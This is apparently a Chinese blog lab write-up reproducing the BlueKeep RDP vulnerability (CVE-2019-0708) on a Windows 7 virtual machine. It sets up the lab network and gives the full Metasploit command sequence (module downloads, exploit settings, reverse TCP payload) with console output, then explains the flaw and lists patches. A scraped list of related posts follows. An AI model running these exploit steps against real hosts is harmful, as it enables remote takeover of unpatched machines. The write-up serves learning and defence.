一、实验环境
基于虚拟机运行(VMware)
(1)靶机(ip:192.168.8.*):

(2)测试机(192.168.8.#):

(3)将两个虚拟机设置于同一个网段中
a.在虚拟网络编辑器中,将VMnet0采用桥接模式,并桥接到网线网上

b.设置win7为动态获取ip

c.打开/etc/network/interfaces文件,做如下修改,并保存,重启kali

eth0接口会在系统启动时被自动配置,以DHCP方式配置网卡.
d.两台主机互ping
win7

kali
互ping测试(关掉防火墙)


测试可以ping通,现在测试机和靶机在同一网段了。
(3)将靶机的相应端口打开

在防火墙中更改入站设置,同时关闭防火墙,打开3389端口

观察可知,3389端口已打开

二、攻击准备(kali中操作)
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。

进入框架:msfconsole
使用search命令查找相关漏洞: search ms17-010
使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue
使用info查看模块信息: info
设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数:show options
设置参数:set RHOST 192.168.125.138
攻击:exploit / run

(1)更新kali msf

apt-get update
apt-get  install metasploit-framework

(2)下载利用脚本

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

(3)移动到对应的目录

mv rdp.rb  /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb
mv rdp_scanner.rb  /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
mv cve_2019_0708_bluekeep.rb   /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
mv cve_2019_0708_bluekeep_rce.rb   /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

将我需要利用的漏洞载入相关的攻击模块中

(注意:/usr/share/metasploit-framework/modules/exploits/windows/下面不一定存在rdp目录,不存在时手动创建)
(4)开始攻击

msfconsole --进入msf
reload_all --重新载入所有的模块
search cve_2019_0708
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.8.*** --设置靶机ip
set target 3 --3代表目标机器架构为VMware、2代表目标架构是virtulbox
exploit --开始攻击
Kali中的执行过程

root@debian:~# msfconsole
[-] ***rting the Metasploit Framework console...|
[-] * WARNING: No database support: No database YAML file
[-] ***=[ metasploit v5.0.53-dev                          ]
+ -- --=[ 1931 exploits - 1079 auxiliary - 331 post       ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]msf5 > reload_all
[*] Reloading modules from all module paths...=[ metasploit v5.0.53-dev                          ]
+ -- --=[ 1931 exploits - 1079 auxiliary - 331 post       ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]msf5 > search cve_2019_0708Matching Modules
================#  Name                                            Disclosure Date  Rank    Check  Description-  ----                                            ---------------  ----    -----  -----------0  auxiliary/scanner/rdp/cve_2019_0708_bluekeep    2019-05-14       normal  Yes    CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check1  exploit/windows/rdp/cve_2019_0708_bluekeep_rce  2019-05-14       manual  Yes    CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Freemsf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce  (使用漏洞)
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 192.168.8.*  (设置靶机的ip)
rhosts => 192.168.8.*
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 3
target => 3    (在VMware上攻击)
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit[*] Started reverse TCP handler on 192.168.8.#:4444     4444开始反向TCP处理程序
[*] 192.168.8.*:3389    - Detected RDP on 192.168.8.*:3389  ## 在192.168.8.*:3389上检测到RDP (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.8.*:3389    - The target is vulnerable.(可以攻击)
[*] 192.168.8.*:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8028600000, Channel count 1.
[*] 192.168.8.*:3389 - Surfing channels ...
[*] 192.168.8.*:3389 - Lobbing eggs ...
[*] 192.168.8.*:3389 - Forcing the USE of FREE'd object ...
[*] Exploit completed, but no session was created.

攻击效果:

三、原理分析
1.漏洞原理
远程桌面协议(RDP)支持客户端和服务器之间的连接,并且以虚拟信道的形式定义了它们之间通信的数据。虚拟信道是双向数据管道,可以针对RDP实现扩展。 Windows Server 2000使用RDP 5.1定义了32个静态虚拟信道(Static Virtual Channel, SVC),由于信道数量的限制,进一步定义了动态虚拟信道(Dynamic Virtual Channel, DVC),这些信道包含在专用SVC中。 SVC在会话开始时创建并保持到会话终止,而DVC将会根据是否需要确定是否创建和抛弃。
a.如下图所示: RDP连接序列在信道安全属性设置之前就进行了连接和设置,这为CVE-2019-0708的创建和传播提供了条件。

如上图所示,RDP Security Commencement在Channel Connection之后

b.漏洞流量分析: “MS_T120”这个SVC名称在RDP协议的GCC Conference初始化序列时被绑定为数字31的参考信道。此信道名称由Microsoft内部使用,在客户端没有明显的、合法的使用以“MS_T120”命名的SVC来发起请求进行连接的用例,然而,在GCC Conference初始化期间,攻击者可以在31之外的信道上设置另一个名为”MS_T120”的SVC,这种行为将会导致堆内存破坏,最终可以实现远程代码执行。
详细原理可参考一个大佬写的原理:
https://www.codercto.com/a/83475.html

2.漏洞修补
目前受影响Windows版本

Microsoft Windows XP Microsoft Windows Server 2008 R2 for x64-based Systems SP1Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1Microsoft Windows Server 2008 for x64-based Systems SP2Microsoft Windows Server 2008 for Itanium-based Systems SP2Microsoft Windows Server 2008 for 32-bit Systems SP2Microsoft Windows Server 2003 Microsoft Windows 7 for x64-based Systems SP1Microsoft Windows 7 for 32-bit Systems SP1

解决方案
修复建议:
(1)及时安装微软发布的安全更新补丁:
Microsoft官方已经在 2019年5月14日修复了该漏洞,用户可以通过安装微软的安全更新来给系统打上安全补丁,下载地址为:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
同时针对已不受微软更新支持的系统Windows Server 2003和Windows XP提供的安全更新,下载地址:https://support.microsoft.com/zh-cn/help/4500705/customer-guidance-for-cve-2019-0708

实验体会:在实验复现的环节你可能会遇到各种的无解问题,在此过程中需要你一步步的耐心摸索,我也是加了很多个班才搞出来的,在实验中,切记要连在同一个网段内,注意攻击模块的更新,以及VM的版本。只要坚持,搞出来是不成问题的!

CVE20190708复现相关推荐

  1. [系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及防御详解

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  2. CVE-2019-0708复现

    漏洞描述 微软官方紧急发布安全补丁,修复了一个Windows远程桌面服务的远程代码执行漏洞(CVE-2019-0708),该漏洞影响了某些旧版本的Windows系统.该漏洞为预身份验证,无需用户交互. ...

  3. [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  4. 那些年我在CSDN追过的安全白帽师傅,respect

    2019年7月,我来到了一个陌生的专业--网络空间安全专业.作为一个长期以Python数据挖掘和NLP方向为主的学生,突然换大方向,去从事系统安全和逆向分析的研究,还是挺难的,这两年的过程也极其艰辛. ...

  5. [系统安全] 四十六.Powershell恶意代码检测系列 (1)Powershell基础入门及管道和变量的用法

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  6. [系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  7. [系统安全] 四十四.APT系列(9)Metasploit技术之基础用法万字详解及防御机理

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  8. [系统安全] 四十一.APT系列(6)Python解析PE文件并获取时间戳判断来源区域

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  9. [系统安全] 三十一.恶意代码检测(1)恶意代码攻击溯源及恶意样本分析

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

最新文章

  1. 多组测试数据求最大值
  2. iOS学习之CoreLocation相关知识
  3. think-in-java(9)接口
  4. 计算机网络之数据链路层:5、停止等待协议
  5. 小白必看!Django 模板语言基础来啦
  6. python计算快递运费价格表_python实现快递价格查询系统
  7. Adversarial Generation of Continuous Images 阅读笔记
  8. 充分使用腾讯云服务器搭建自己的网站
  9. 集线器(HUB)、交换机(Switch)、路由器(Router)
  10. xiunobbs回帖时间排序修改
  11. linux iptables源ip替换,Linux更改源IP地址的传入流量
  12. 回忆童年游戏之棋盘决奕
  13. SQL84 实习广场投递简历分析(一)
  14. 二维数组所有元素初始化为0
  15. 高数 | 旋转体体积的一般公式
  16. 苹果手机怎么把游戏隐藏在计算机,苹果手机隐藏了游戏怎么找出来
  17. CTF牛刀小实——聪明的小羊
  18. 不可忽视的 C 语言陷阱!
  19. IE无法打开的原因及解决办法
  20. ACM比赛经验、刷题记录及模板库总结(更新中)

热门文章

  1. 云原生IDE:iVX首个通用且强大无代码开发平台
  2. 安卓和IOS时间解析时间格式不一致的问题
  3. 【避免进程死锁】银行家算法
  4. 英特尔奔腾芯片漏洞_什么是奔腾(英特尔)?
  5. 计算机中汉字的顺序用什么牌,中国汉字的写做顺序,你知道吗?
  6. 【教学类-07-04】20221113《破译电话号码-加减法版+自制(PDF打印)》(大班主题《我要上小学》)
  7. JavaScript中的模块化之AMD和CMD
  8. mysql 复制 1032_mysql slave复制1032错误解决方法
  9. java中strictfp么意思_java中的strictfp的作用
  10. 使用微信小程序做一个简易的下拉框,无动画效果,纯原生写法(下拉列表框)